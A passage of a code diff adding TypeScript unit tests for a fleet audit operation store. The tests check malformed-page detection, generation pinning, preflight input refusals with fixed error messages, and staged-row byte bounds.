+    const matchingDigest = matchingIntake.digest;
+    harness.operationStore.operations.set(operationId, winnerRunRecord);
+    harness.operationStore.intakeDigests.set(operationId, matchingDigest);
+    harness.operationStore.heads.set('audit', operationId);
+    harness.operationStore.probeMiss.add(operationId);
+
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    expect(harness.inventoryStore.latestGeneration).toBe(3);
+    expect(harness.inventoryStore.pins).toEqual([
+      { generation: 2, pinnedBy: `fleet-audit:${operationId}` },
+    ]);
+    const persisted = fleetAuditProgressFromUnknown(
+      (await harness.operationStore.readOperationById(operationId))?.progress,
+    );
+    expect(persisted.generation).toBe(2);
+    expect(persisted.auditTimeMs).toBe(AUDIT_NOW);
+    expect(persisted.auditTimeMs).not.toBe(losingAuditTimeMs);
+  });
+
+  it('readAllFleetOperationRows fails closed on a page with zero rows before done, on a repeating page, on a duplicate ordinal within one page, on an overlapping row, and on a gapped page sequence; it caps the row read by kind and reads descending pages correctly', async () => {
+    let mutationCalls = 0;
+    const store: FleetOperationStore = {
+      withAccountOperationLease: async () => {
+        mutationCalls += 1;
+        throw new Error('unused');
+      },
+      readOperationById: async () => undefined,
+      readOperationRowsPage: async () => ({ rows: [], done: false }),
+      pruneFleetOperations: async () => {
+        mutationCalls += 1;
+        return { deleted: 0, releasedPins: 0 };
+      },
+    };
+    await expect(
+      readAllFleetOperationRows(store, uuidFor(53), 'record'),
+    ).rejects.toThrow('fleet operation state is malformed');
+
+    let repeatingPageCalls = 0;
+    const repeatingRow: FleetOperationStagedRow = {
+      rowKind: 'record',
+      ordinal: 0,
+      payload: {},
+    };
+    const repeatingStore: FleetOperationStore = {
+      ...store,
+      readOperationRowsPage: async () => {
+        repeatingPageCalls += 1;
+        return { rows: [repeatingRow], done: false };
+      },
+    };
+    await expect(
+      readAllFleetOperationRows(repeatingStore, uuidFor(53), 'record'),
+    ).rejects.toThrow('fleet operation state is malformed');
+    expect(repeatingPageCalls).toBe(2);
+
+    let duplicatePageCalls = 0;
+    const duplicateBaseStore = new FakeOperationStore();
+    const duplicateOrdinalStore = pageTransformingStore(
+      duplicateBaseStore,
+      (_readPage, input) => {
+        duplicatePageCalls += 1;
+        return {
+          rows: [
+            { rowKind: input.rowKind, ordinal: 0, payload: {} },
+            { rowKind: input.rowKind, ordinal: 0, payload: {} },
+          ],
+          done: false,
+        };
+      },
+    );
+    await expect(
+      readAllFleetOperationRows(duplicateOrdinalStore, uuidFor(533), 'record'),
+    ).rejects.toThrow('fleet operation state is malformed');
+    expect(duplicatePageCalls).toBe(1);
+    expect(duplicateBaseStore.rowPageReadCounts.size).toBe(0);
+
+    expect(FLEET_OPERATION_ROW_READ_BOUND).toBe(990_000);
+    let advancingPageCalls = 0;
+    let advancingRows = 0;
+    const advancingStore: FleetOperationStore = {
+      ...store,
+      readOperationRowsPage: async (input) => {
+        advancingPageCalls += 1;
+        const firstOrdinal = (input.afterOrdinal ?? -1) + 1;
+        const pageLength = Math.min(
+          input.limit,
+          FLEET_OPERATION_ITEM_BOUND + 1 - advancingRows,
+        );
+        advancingRows += pageLength;
+        return {
+          rows: Array.from({ length: pageLength }, (_, index) => ({
+            rowKind: input.rowKind,
+            ordinal: firstOrdinal + index,
+            payload: {},
+          })),
+          done: advancingRows === FLEET_OPERATION_ITEM_BOUND + 1,
+        };
+      },
+    };
+    await expect(
+      readAllFleetOperationRows(advancingStore, uuidFor(53), 'record'),
+    ).rejects.toThrow('fleet operation state is malformed');
+    expect(advancingRows).toBe(FLEET_OPERATION_ITEM_BOUND + 1);
+    expect(advancingPageCalls).toBe(FLEET_OPERATION_ITEM_BOUND / 1_000 + 1);
+
+    const orderedRows: FleetOperationStagedRow[] = Array.from(
+      { length: 1_001 },
+      (_, ordinal) => ({ rowKind: 'record', ordinal, payload: { ordinal } }),
+    );
+    const orderedStore = new FakeOperationStore();
+    const orderedOperationId = uuidFor(530);
+    orderedStore.rows.set(`${orderedOperationId}:record`, orderedRows);
+    const expectedRows = await readAllFleetOperationRows(
+      orderedStore,
+      orderedOperationId,
+      'record',
+    );
+    expect(expectedRows.map((row) => row.ordinal)).toEqual(
+      Array.from({ length: 1_001 }, (_, ordinal) => ordinal),
+    );
+    expect(new Set(expectedRows.map((row) => row.ordinal)).size).toBe(
+      expectedRows.length,
+    );
+    const descendingStore = pageTransformingStore(
+      orderedStore,
+      async (readPage) => {
+        const page = await readPage();
+        return { ...page, rows: [...page.rows].reverse() };
+      },
+    );
+    await expect(
+      readAllFleetOperationRows(descendingStore, orderedOperationId, 'record'),
+    ).resolves.toEqual(expectedRows);
+
+    let overlappingPageCalls = 0;
+    const overlappingBaseStore = new FakeOperationStore();
+    const overlappingStore = pageTransformingStore(
+      overlappingBaseStore,
+      (_readPage, input) => {
+        overlappingPageCalls += 1;
+        return input.afterOrdinal === undefined
+          ? {
+              rows: [{ rowKind: input.rowKind, ordinal: 1, payload: {} }],
+              done: false,
+            }
+          : {
+              rows: [
+                { rowKind: input.rowKind, ordinal: 2, payload: {} },
+                { rowKind: input.rowKind, ordinal: 1, payload: {} },
+              ],
+              done: true,
+            };
+      },
+    );
+    await expect(
+      readAllFleetOperationRows(overlappingStore, uuidFor(531), 'record'),
+    ).rejects.toThrow('fleet operation state is malformed');
+    expect(overlappingPageCalls).toBe(2);
+    expect(overlappingBaseStore.rowPageReadCounts.size).toBe(0);
+    expect(overlappingBaseStore.operations.size).toBe(0);
+    expect(overlappingBaseStore.rows.size).toBe(0);
+    expect(overlappingBaseStore.heads.size).toBe(0);
+
+    const gappedFirstPages = [
+      [5, 1],
+      [5, 0],
+    ] as const;
+    for (const [index, firstPageOrdinals] of gappedFirstPages.entries()) {
+      let gappedPageCalls = 0;
+      const gappedStore: FleetOperationStore = {
+        ...store,
+        readOperationRowsPage: async (input) => {
+          gappedPageCalls += 1;
+          return input.afterOrdinal === undefined
+            ? {
+                rows: firstPageOrdinals.map((ordinal) => ({
+                  rowKind: input.rowKind,
+                  ordinal,
+                  payload: {},
+                })),
+                done: false,
+              }
+            : {
+                rows: [{ rowKind: input.rowKind, ordinal: 6, payload: {} }],
+                done: true,
+              };
+        },
+      };
+      await expect(
+        readAllFleetOperationRows(gappedStore, uuidFor(534 + index), 'record'),
+      ).rejects.toThrow('fleet operation state is malformed');
+      expect(gappedPageCalls).toBe(2);
+    }
+    expect(mutationCalls).toBe(0);
+  });
+
+  it('a start with no resolvable generation refuses with the fixed message and persists nothing', async () => {
+    const alice = baseRecord('nogeneration');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    harness.inventoryStore.latestGeneration = undefined;
+    harness.inventoryStore.refs.clear();
+    harness.inventoryStore.generations.clear();
+    harness.inventoryStore.runs.clear();
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'start',
+          operationId: uuidFor(54),
+          records: [alice],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      ),
+    ).rejects.toThrow('no finalized fleet inventory generation is available');
+    expect(harness.operationStore.operations.size).toBe(0);
+    expect(harness.operationStore.rows.size).toBe(0);
+    expect(harness.operationStore.heads.size).toBe(0);
+    expect(harness.operationStore.intakeDigests.size).toBe(0);
+    expect(harness.inventoryStore.pins).toEqual([]);
+    expect(harness.inventoryStore.releasedPins).toEqual([]);
+    expect(generationReadCounts(harness.inventoryStore)).toEqual({
+      latest: 1,
+      finalized: 0,
+      runByOperation: 0,
+    });
+  });
+
+  it('a start-time pinGeneration refusal durably fails the operation as generation-unavailable with the head released', async () => {
+    const alice = baseRecord('pinrefusal');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(55);
+    harness.inventoryStore.pinFailsForGeneration = 1;
+    const failed = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(failed.status).toBe('failed');
+    if (failed.status !== 'failed') throw new Error('unreachable');
+    expect(failed.failure).toEqual({ reason: 'generation-unavailable' });
+    expect(
+      (await harness.operationStore.readOperationById(operationId))?.state,
+    ).toBe('failed');
+    expect(harness.inventoryStore.pins).toEqual([]);
+    expect(harness.inventoryStore.releasedPins).toContainEqual({
+      generation: 1,
+      pinnedBy: `fleet-audit:${operationId}`,
+    });
+    expect(harness.operationStore.heads.has('audit')).toBe(false);
+
+    harness.inventoryStore.pinFailsForGeneration = undefined;
+    const next = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(56),
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(next.status).toBe('pending');
+  });
+
+  it('findings-page reads and abandonment refuse an unknown id (FleetOperationTokenOperationError) and a foreign-kind id (the fixed cross-kind refusal) before any write, in both the running and terminal abandonment branches', async () => {
+    const alice = baseRecord('foreignids');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const unknownId = uuidFor(57);
+    const runningForeignId = uuidFor(58);
+    const terminalForeignId = uuidFor(59);
+    const runningForeign: FleetOperationRunRecord = {
+      version: 1,
+      operationId: runningForeignId,
+      kind: 'migration',
+      state: 'running',
+      progress: { kind: 'migration', revision: 3 },
+      updatedAt: new Date(AUDIT_NOW).toISOString(),
+    };
+    const terminalForeign: FleetOperationRunRecord = {
+      version: 1,
+      operationId: terminalForeignId,
+      kind: 'migration',
+      state: 'finalized',
+      progress: { kind: 'migration', revision: 7 },
+      updatedAt: new Date(AUDIT_NOW).toISOString(),
+      terminalAtMs: AUDIT_NOW,
+    };
+    harness.operationStore.operations.set(runningForeignId, runningForeign);
+    harness.operationStore.operations.set(terminalForeignId, terminalForeign);
+    harness.operationStore.heads.set('migration', runningForeignId);
+    const durableStateBefore = {
+      operations: structuredClone([...harness.operationStore.operations]),
+      rows: structuredClone([...harness.operationStore.rows]),
+      heads: structuredClone([...harness.operationStore.heads]),
+      intakeDigests: structuredClone([...harness.operationStore.intakeDigests]),
+      pins: structuredClone(harness.inventoryStore.pins),
+      releasedPins: structuredClone(harness.inventoryStore.releasedPins),
+    };
+
+    await expect(
+      readFleetAuditFindingsPage(harness.operationStore, {
+        operationId: unknownId,
+        limit: 10,
+      }),
+    ).rejects.toBeInstanceOf(FleetOperationTokenOperationError);
+    await expect(
+      readFleetAuditFindingsPage(harness.operationStore, {
+        operationId: unknownId,
+        limit: 10,
+      }),
+    ).rejects.toThrow(`no fleet operation '${unknownId}'`);
+    await expect(
+      abandonFleetAuditOperation({
+        operationStore: harness.operationStore,
+        inventoryStore: harness.inventoryStore,
+        operationId: unknownId,
+      }),
+    ).rejects.toBeInstanceOf(FleetOperationTokenOperationError);
+    await expect(
+      abandonFleetAuditOperation({
+        operationStore: harness.operationStore,
+        inventoryStore: harness.inventoryStore,
+        operationId: unknownId,
+      }),
+    ).rejects.toThrow(`no fleet operation '${unknownId}'`);
+
+    for (const operationId of [runningForeignId, terminalForeignId]) {
+      const message = `fleet operation '${operationId}' belongs to the other operation kind`;
+      await expect(
+        readFleetAuditFindingsPage(harness.operationStore, {
+          operationId,
+          limit: 10,
+        }),
+      ).rejects.toThrow(message);
+      await expect(
+        abandonFleetAuditOperation({
+          operationStore: harness.operationStore,
+          inventoryStore: harness.inventoryStore,
+          operationId,
+        }),
+      ).rejects.toThrow(message);
+    }
+
+    expect({
+      operations: [...harness.operationStore.operations],
+      rows: [...harness.operationStore.rows],
+      heads: [...harness.operationStore.heads],
+      intakeDigests: [...harness.operationStore.intakeDigests],
+      pins: harness.inventoryStore.pins,
+      releasedPins: harness.inventoryStore.releasedPins,
+    }).toStrictEqual(durableStateBefore);
+    expect(
+      await harness.operationStore.readOperationById(runningForeignId),
+    ).toStrictEqual(runningForeign);
+    expect(
+      await harness.operationStore.readOperationById(terminalForeignId),
+    ).toStrictEqual(terminalForeign);
+  });
+
+  it('a finding row the read codec would reject fails the operation closed at write time instead of poisoning the findings page', async () => {
+    const inventory = emptyInventory();
+    inventory.findings.push({
+      tenantTag: 'provider-observation',
+      environment: ENVIRONMENT,
+      kind: 'out-of-vocabulary' as FleetInventoryFinding['kind'],
+      detail: 'malformed route fixture',
+    });
+    const harness = buildHarness([], inventory);
+    const operationId = uuidFor(60);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    expect(started.stage).toEqual({ step: 'provider-findings', rowOrdinal: 0 });
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({ kind: 'continue', token: started.token }),
+      ),
+    ).rejects.toThrow('fleet operation state is malformed');
+    expect(
+      harness.operationStore.rows.get(`${operationId}:finding`)?.length ?? 0,
+    ).toBe(0);
+    expect(
+      (await harness.operationStore.readOperationById(operationId))?.state,
+    ).toBe('running');
+    await expect(
+      readFleetAuditFindingsPage(harness.operationStore, {
+        operationId,
+        limit: 10,
+      }),
+    ).rejects.toThrow(`fleet audit operation '${operationId}' is not terminal`);
+    await abandonFleetAuditOperation({
+      operationStore: harness.operationStore,
+      inventoryStore: harness.inventoryStore,
+      operationId,
+    });
+    const abandoned =
+      await harness.operationStore.readOperationById(operationId);
+    expect(abandoned?.state).toBe('failed');
+    expect(
+      fleetAuditProgressFromUnknown(abandoned?.progress).failure?.reason,
+    ).toBe('operator-abandoned');
+    expect(harness.operationStore.heads.has('audit')).toBe(false);
+    expect(harness.inventoryStore.releasedPins).toContainEqual({
+      generation: 1,
+      pinnedBy: `fleet-audit:${operationId}`,
+    });
+
+    const observed = baseRecord('observed');
+    const observedInventory = inventoryFor([observed]);
+    const observedFindings: FleetInventoryFinding[] = [
+      {
+        tenantTag: '',
+        environment: ENVIRONMENT,
+        kind: 'malformed-route',
+        detail: 'empty provider tenant tag',
+      },
+      {
+        tenantTag: 'provider-tenant',
+        environment: 'production\u0000observed',
+        kind: 'stale-route',
+        detail: 'control-byte provider environment',
+      },
+      {
+        tenantTag: 'provider-tenant',
+        environment: ENVIRONMENT,
+        kind: 'stale-route',
+        detail: 'x\u0000y',
+      },
+    ];
+    observedInventory.findings.push(...observedFindings);
+    const liveNamespaceId = 'live\u0000namespace';
+    const observedHarness = buildHarness([observed], observedInventory, {
+      auditClock: () => AUDIT_NOW,
+      authorityClock: () => AUDIT_NOW,
+    });
+    observedHarness.liveByTenant.set(
+      observed.tenantTag,
+      cleanLiveDeployment(observed, {
+        durableObjectBindings: [
+          { name: 'RUNNER', className: 'Runner', namespaceId: liveNamespaceId },
+        ],
+      }),
+    );
+    const observedOperationId = uuidFor(64);
+    const observedTerminal = await startAndDrive(
+      observedHarness,
+      observedOperationId,
+      [observed],
+    );
+    expect(observedTerminal.status).toBe('complete');
+    const observedPage = await readFleetAuditFindingsPage(
+      observedHarness.operationStore,
+      { operationId: observedOperationId, limit: 100 },
+    );
+    const boundedProviderFindings = observedFindings.map((finding) =>
+      finding.detail === 'x\u0000y'
+        ? {
+            ...finding,
+            detail:
+              "finding detail withheld: unsafe bytes (kind 'stale-route')",
+          }
+        : finding,
+    );
+    expect(
+      observedPage.findings.slice(0, observedFindings.length),
+    ).toStrictEqual(boundedProviderFindings);
+    const stagedFacts =
+      observedHarness.operationStore.rows.get(`${observedOperationId}:fact`) ??
+      [];
+    expect(stagedFacts).toContainEqual(
+      expect.objectContaining({
+        payload: {
+          factKind: 'namespace-owner',
+          key: liveNamespaceId,
+          tenantTag: observed.tenantTag,
+          environment: observed.environment,
+        },
+      }),
+    );
+    const readFacts = (
+      await readAllFleetOperationRows(
+        observedHarness.operationStore,
+        observedOperationId,
+        'fact',
+      )
+    ).map((row) => fleetAuditFactRowFromUnknown(row.payload));
+    expect(readFacts).toContainEqual({
+      factKind: 'namespace-owner',
+      key: liveNamespaceId,
+      tenantTag: observed.tenantTag,
+      environment: observed.environment,
+    });
+    const drainFindings = await drainWith(observedHarness);
+    expect(drainFindings.slice(0, observedFindings.length)).toStrictEqual(
+      observedFindings,
+    );
+    expect(observedPage.findings).toStrictEqual(
+      drainFindings.map((finding) =>
+        finding.detail === 'x\u0000y'
+          ? {
+              ...finding,
+              detail:
+                "finding detail withheld: unsafe bytes (kind 'stale-route')",
+            }
+          : finding,
+      ),
+    );
+  });
+
+  const GRAMMAR_REFUSAL =
+    'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar';
+  const STRUCTURE_REFUSAL =
+    'fleet audit record exceeds the intake structure bounds';
+  const ROW_BYTE_REFUSAL =
+    'fleet audit record exceeds the staged row byte bound';
+  const CLOCK_REFUSAL =
+    'fleet audit auditClock sample must be a non-negative safe integer representable by Date';
+
+  it('a start whose record carries a malformed deployment identifier refuses with the fixed message and persists nothing', async () => {
+    const cases = [
+      baseRecord('emptyenvironment', { environment: '' }),
+      baseRecord('control\u0000tenant'),
+    ];
+    for (const [index, record] of cases.entries()) {
+      const harness = buildHarness([record], inventoryFor([record]));
+      const attempt = advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'start',
+          operationId: uuidFor(61 + index),
+          records: [record],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      );
+      await expect(attempt).rejects.toBeInstanceOf(Error);
+      await expect(attempt).rejects.toHaveProperty('message', GRAMMAR_REFUSAL);
+      expectZeroHarnessWork(harness);
+    }
+  });
+
+  const AFTER_LEASE_AND_PROBE = {
+    leaseCount: 1,
+    readOperationByIdCalls: 1,
+    generationReads: { latest: 1, finalized: 0, runByOperation: 0 },
+  } as const;
+
+  const preflightRefusalCases: readonly PreflightRefusalCase[] = [
+    {
+      name: 'a non-positive explicit generation',
+      fleet: [baseRecord('preflight')],
+      operationId: uuidFor(70),
+      intake: () => [baseRecord('preflight')],
+      generation: 0,
+      message: 'generation must be a positive safe integer',
+    },
+    {
+      name: 'a non-integer explicit generation',
+      fleet: [baseRecord('preflight')],
+      operationId: uuidFor(71),
+      intake: () => [baseRecord('preflight')],
+      generation: 1.5,
+      message: 'generation must be a positive safe integer',
+    },
+    {
+      name: 'a non-string tenant tag',
+      fleet: [],
+      operationId: uuidFor(72),
+      intake: () => [
+        {
+          ...baseRecord('nonstringtenant'),
+          tenantTag: null as unknown as string,
+        },
+      ],
+      message: GRAMMAR_REFUSAL,
+    },
+    {
+      name: 'a record with a throwing tenantTag',
+      fleet: [],
+      operationId: uuidFor(720),
+      intake: () => {
+        const record = baseRecord('throwingtenant');
+        Object.defineProperty(record, 'tenantTag', {
+          get() {
+            throw new Error('boom');
+          },
+          enumerable: true,
+        });
+        return [record];
+      },
+      message: STRUCTURE_REFUSAL,
+    },
+    {
+      name: 'a null record element',
+      fleet: [],
+      operationId: uuidFor(79),
+      intake: () => [null as unknown as FleetRecord],
+      message: STRUCTURE_REFUSAL,
+    },
+    {
+      name: 'a record over the staged row bound',
+      fleet: [],
+      operationId: uuidFor(73),
+      intake: () => {
+        const record = Object.assign(
+          baseRecord('oversized'),
+          Object.fromEntries(
+            Array.from({ length: 25 }, (_, index) => [
+              `padding${index}`,
+              'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND),
+            ]),
+          ),
+        );
+        const metrics = plainDataMetrics(record);
+        expect(
+          new TextEncoder().encode(canonicalFleetOperationBytes(record))
+            .byteLength,
+        ).toBeGreaterThan(FLEET_OPERATION_RECORD_ROW_BYTE_BOUND);
+        expect(metrics.nodeCount).toBeLessThan(FLEET_OPERATION_NODE_BOUND);
+        expect(metrics.maxStringBytes).toBeLessThanOrEqual(
+          FLEET_OPERATION_STRING_BYTE_BOUND,
+        );
+        return [record];
+      },
+      message: ROW_BYTE_REFUSAL,
+    },
+    {
+      name: 'a non-integer audit clock sample',
+      fleet: [baseRecord('preflight')],
+      operationId: uuidFor(74),
+      intake: () => [baseRecord('preflight')],
+      auditClock: () => 1.5,
+      message: CLOCK_REFUSAL,
+      coordination: AFTER_LEASE_AND_PROBE,
+    },
+    {
+      name: 'an out-of-Date-range clock sample',
+      fleet: [baseRecord('preflight')],
+      operationId: uuidFor(75),
+      intake: () => [baseRecord('preflight')],
+      auditClock: () => 9e15,
+      message: CLOCK_REFUSAL,
+      coordination: AFTER_LEASE_AND_PROBE,
+    },
+    {
+      name: 'a record over the intake node bound',
+      fleet: [],
+      operationId: uuidFor(76),
+      intake: () => [
+        Object.assign(baseRecord('toomanynodes'), {
+          padding: Array.from({ length: 9_000 }, () => null),
+        }),
+      ],
+      message: STRUCTURE_REFUSAL,
+    },
+    {
+      name: 'a record over the intake string bound',
+      fleet: [],
+      operationId: uuidFor(77),
+      intake: () => [
+        Object.assign(baseRecord('overlongstring'), {
+          padding: 'x'.repeat(5_000),
+        }),
+      ],
+      message: STRUCTURE_REFUSAL,
+    },
+    {
+      name: 'a record over both bounds (row wins)',
+      fleet: [],
+      operationId: uuidFor(78),
+      intake: () => {
+        const padding = Object.fromEntries(
+          Array.from({ length: 8_000 }, (_, index) => [
+            `padding${index}`,
+            'x'.repeat(2_087),
+          ]),
+        );
+        const record = Object.assign(baseRecord('overlappingbounds'), padding);
+        expect(plainDataMetrics(record).nodeCount).toBeLessThan(
+          FLEET_OPERATION_NODE_BOUND,
+        );
+        // The fixture is ASCII, so string lengths equal UTF-8 byte lengths.
+        let serializedByteCount = JSON.stringify(
+          baseRecord('overlappingbounds'),
+        ).length;
+        for (const [key, value] of Object.entries(padding)) {
+          serializedByteCount += 1 + 2 + key.length + 1 + 2 + value.length;
+        }
+        expect(serializedByteCount).toBeGreaterThan(
+          FLEET_OPERATION_INTAKE_BYTE_BOUND,
+        );
+        return [record];
+      },
+      message: ROW_BYTE_REFUSAL,
+    },
+  ];
+
+  const PREFLIGHT_TITLE =
+    'a start refuses $name before any operation row, staged row, or pin';
+
+  it.each(preflightRefusalCases)(PREFLIGHT_TITLE, async (testCase) => {
+    const harness = buildHarness(
+      testCase.fleet,
+      inventoryFor(testCase.fleet),
+      testCase.auditClock === undefined
+        ? {}
+        : { auditClock: testCase.auditClock },
+    );
+    const attempt = advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId: testCase.operationId,
+        records: testCase.intake(),
+        staleAfterMs: STALE_AFTER_MS,
+        ...(testCase.generation === undefined
+          ? {}
+          : { generation: testCase.generation }),
+      }),
+    );
+    await expect(attempt).rejects.toBeInstanceOf(Error);
+    await expect(attempt).rejects.toHaveProperty('message', testCase.message);
+    expectZeroHarnessWork(harness, testCase.coordination);
+  });
+
+  it('an emitted finding or fact row whose serialized payload or any string exceeds the staged-row envelope fails the operation durably as emission-bound-exceeded with the pin released, before the store sees the row', async () => {
+    const escapedNamespaceId = '\u0000'.repeat(3_000);
+    const overlongDatabaseId = 'd'.repeat(5_000);
+    const escapedDriftedDatabaseId = 'db-escapedfact-drifted';
+    const cases = [
+      {
+        tenantTag: 'escapedfact',
+        live: (record: FleetRecord) =>
+          cleanLiveDeployment(record, {
+            databaseId: escapedDriftedDatabaseId,
+            durableObjectBindings: [
+              {
+                name: 'RUNNER',
+                className: 'Runner',
+                namespaceId: escapedNamespaceId,
+              },
+            ],
+          }),
+        payload: {
+          factKind: 'namespace-owner',
+          key: escapedNamespaceId,
+          tenantTag: 'escapedfact',
+          environment: ENVIRONMENT,
+        },
+      },
+      {
+        tenantTag: 'overlongfact',
+        live: (record: FleetRecord) =>
+          cleanLiveDeployment(record, { databaseId: overlongDatabaseId }),
+        payload: {
+          factKind: 'database-owner',
+          key: overlongDatabaseId,
+          tenantTag: 'overlongfact',
+          environment: ENVIRONMENT,
+        },
+      },
+    ] as const;
+
+    expect(new TextEncoder().encode(escapedNamespaceId).byteLength).toBe(3_000);
+    expect(
+      new TextEncoder().encode(JSON.stringify(cases[0].payload)).byteLength,
+    ).toBeGreaterThan(FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND);
+    expect(new TextEncoder().encode(overlongDatabaseId).byteLength).toBe(5_000);
+    expect(
+      new TextEncoder().encode(overlongDatabaseId).byteLength,
+    ).toBeGreaterThan(FLEET_OPERATION_STRING_BYTE_BOUND);
+
+    for (const [index, testCase] of cases.entries()) {
+      const record = baseRecord(testCase.tenantTag);
+      const harness = buildHarness([record], inventoryFor([record]), {
+        auditClock: () => AUDIT_NOW,
+        authorityClock: () => AUDIT_NOW,
+      });
+      harness.liveByTenant.set(record.tenantTag, testCase.live(record));
+      if (index === 0) {
+        const drainFindings = await drainWith(harness);
+        expect(drainFindings).toEqual([
+          {
+            tenantTag: testCase.tenantTag,
+            environment: ENVIRONMENT,
+            kind: 'database-mismatch',
+            detail: `expected ${record.databaseId}, found ${escapedDriftedDatabaseId}`,
+          },
+        ]);
+      }
+      const operationId = uuidFor(80 + index);
+      const started = await advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'start',
+          operationId,
+          records: [record],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      );
+      expect(started.status).toBe('pending');
+      if (started.status !== 'pending') throw new Error('unreachable');
+      const result = await driveToStage(harness, started.token, 'per-record');
+      expect(result.stage).toEqual({ step: 'per-record', recordOrdinal: 0 });
+
+      const codecCallsBefore = harness.operationStore.stagedRowCodecCalls;
+      const failed = await advanceFleetAudit(
+        harness.baseOptions({ kind: 'continue', token: result.token }),
+      );
+      expect(failed.status).toBe('failed');
+      if (failed.status !== 'failed') throw new Error('unreachable');
+      expect(failed.failure).toEqual({
+        reason: 'emission-bound-exceeded',
+        itemOrdinal: 0,
+      });
+      expect(harness.operationStore.stagedRowCodecCalls).toBe(codecCallsBefore);
+      const persisted =
+        await harness.operationStore.readOperationById(operationId);
+      expect(persisted?.state).toBe('failed');
+      expect(
+        fleetAuditProgressFromUnknown(persisted?.progress).failure,
+      ).toEqual({
+        reason: 'emission-bound-exceeded',
+        itemOrdinal: 0,
+      });
+      expect(harness.operationStore.heads.has('audit')).toBe(false);
+      expect(harness.inventoryStore.releasedPins).toContainEqual({
+        generation: 1,
+        pinnedBy: `fleet-audit:${operationId}`,
+      });
+    }
+
+    const globalInventory = emptyInventory();
+    globalInventory.findings.push({
+      tenantTag: '\u0000'.repeat(3_000),
+      environment: ENVIRONMENT,
+      kind: 'malformed-route',
+      detail: 'provider pass-through finding',
+    });
+    const globalHarness = buildHarness([], globalInventory);
+    const globalOperationId = uuidFor(82);
+    const globalStarted = await advanceFleetAudit(
+      globalHarness.baseOptions({
+        kind: 'start',
+        operationId: globalOperationId,
+        records: [],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(globalStarted.status).toBe('pending');
+    if (globalStarted.status !== 'pending') throw new Error('unreachable');
+    expect(globalStarted.stage).toEqual({
+      step: 'provider-findings',
+      rowOrdinal: 0,
+    });
+    const globalCodecCallsBefore =
+      globalHarness.operationStore.stagedRowCodecCalls;
+    const globalFailed = await advanceFleetAudit(
+      globalHarness.baseOptions({
+        kind: 'continue',
+        token: globalStarted.token,
+      }),
+    );
+    expect(globalFailed.status).toBe('failed');
+    if (globalFailed.status !== 'failed') throw new Error('unreachable');
+    expect(globalFailed.failure).toStrictEqual({
+      reason: 'emission-bound-exceeded',
+    });
+    expect(globalHarness.operationStore.stagedRowCodecCalls).toBe(
+      globalCodecCallsBefore,
+    );
+    expect(
+      (await globalHarness.operationStore.readOperationById(globalOperationId))
+        ?.state,
+    ).toBe('failed');
+    expect(globalHarness.operationStore.heads.has('audit')).toBe(false);
+    expect(globalHarness.inventoryStore.releasedPins).toContainEqual({
+      generation: 1,
+      pinnedBy: `fleet-audit:${globalOperationId}`,
+    });
+  });
+
+  it("a start whose grammar-valid records' aggregate node count exceeds 8,192 creates the operation with recordCount equal to the INTAKE SNAPSHOT — mid-start caller mutation of the records array, of record[0], and of the action's own operationId, staleAfterMs and generation notwithstanding — and its first per-record call reads the accumulated record rows across two pages", async () => {
+    const records = Array.from({ length: 1_001 }, (_, index) =>
+      baseRecord(`aggregate${index}`),
+    );
+    expect(plainDataMetrics(records).nodeCount).toBeGreaterThan(
+      FLEET_OPERATION_NODE_BOUND,
+    );
+    expect(() =>
+      fleetOperationIntakeDigest({
+        records,
+        staleAfterMs: STALE_AFTER_MS,
+        generation: null,
+      }),
+    ).toThrow('fleet operation state is malformed');
+
+    const operationId = uuidFor(83);
+    const probeMutationOperationId = uuidFor(829);
+    const clockMutationOperationId = uuidFor(830);
+    const pinMutationOperationId = uuidFor(831);
+    const action = {
+      kind: 'start' as const,
+      operationId,
+      records,
+      staleAfterMs: STALE_AFTER_MS,
+      generation: undefined as number | undefined,
+    };
+    const intakeCount = records.length;
+    const intakeTenantTag = records[0]?.tenantTag;
+    let mutationOrdinal = 0;
+    const mutateCaller = (
+      nextOperationId: string,
+      nextStaleAfterMs: number,
+    ) => {
+      mutationOrdinal += 1;
+      records.push(baseRecord(`appendedmidstart${mutationOrdinal}`));
+      Object.assign(records[0] as FleetRecord, {
+        tenantTag: `mutatedtenant${mutationOrdinal}`,
+      });
+      action.staleAfterMs = nextStaleAfterMs;
+      action.operationId = nextOperationId;
+      // Generation 2 is never registered here, so an implementation that
+      // re-read `action.generation` instead of the value hoisted at the top
+      // of the start would pin generation 2 rather than the latest finalized
+      // 1 — and the pin assertion below would see it.
+      action.generation = 2;
+    };
+    const harness = buildHarness(records, inventoryFor(records), {
+      auditClock: () => {
+        mutateCaller(clockMutationOperationId, STALE_AFTER_MS + 1);
+        return AUDIT_NOW;
+      },
+    });
+    const pinGeneration = harness.inventoryStore.pinGeneration.bind(
+      harness.inventoryStore,
+    );
+    harness.inventoryStore.pinGeneration = async (input) => {
+      mutateCaller(pinMutationOperationId, STALE_AFTER_MS + 2);
+      await pinGeneration(input);
+    };
